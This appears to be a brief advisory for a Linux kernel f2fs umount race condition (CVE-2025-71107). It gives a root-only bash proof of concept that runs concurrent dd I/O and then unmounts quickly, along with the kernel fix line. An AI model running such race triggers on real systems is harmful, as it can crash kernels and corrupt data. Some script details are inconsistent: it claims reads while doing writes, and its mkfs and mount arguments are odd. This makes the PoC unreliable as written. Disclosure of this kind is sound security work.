CVE-2025-71107 Linux内核f2fs文件系统umount时竞态条件漏洞

// This is a kernel-level race condition that can be triggered via xfstests // The following is a conceptual PoC based on xfstests generic/335 and generic/336 // Trigger conditions: // 1. Mount f2fs filesystem // 2. Perform concurrent read operations on node pages // 3. Rapidly execute umount while node page reads are pending // Example test script (requires root): /* #!/bin/bash mkfs.f2fs /dev/loop0 100M mkdir -p /mnt/f2fs mount -o loop /dev/loop0 /mnt/f2fs # Create concurrent I/O to trigger node page reads for i in {1..100}; do dd if=/dev/urandom of=/mnt/f2fs/file_$i bs=4K count=100 & done # Immediately unmount while I/O is pending sleep 0.01 umount /mnt/f2fs */ // Kernel fix (already applied in stable trees): // In fs/f2fs/super.c f2fs_put_super(): // + f2fs_wait_on_all_pages(F2FS_I_SB(sb), F2FS_RD_NODE); // This ensures all node page reads complete before superblock cleanup.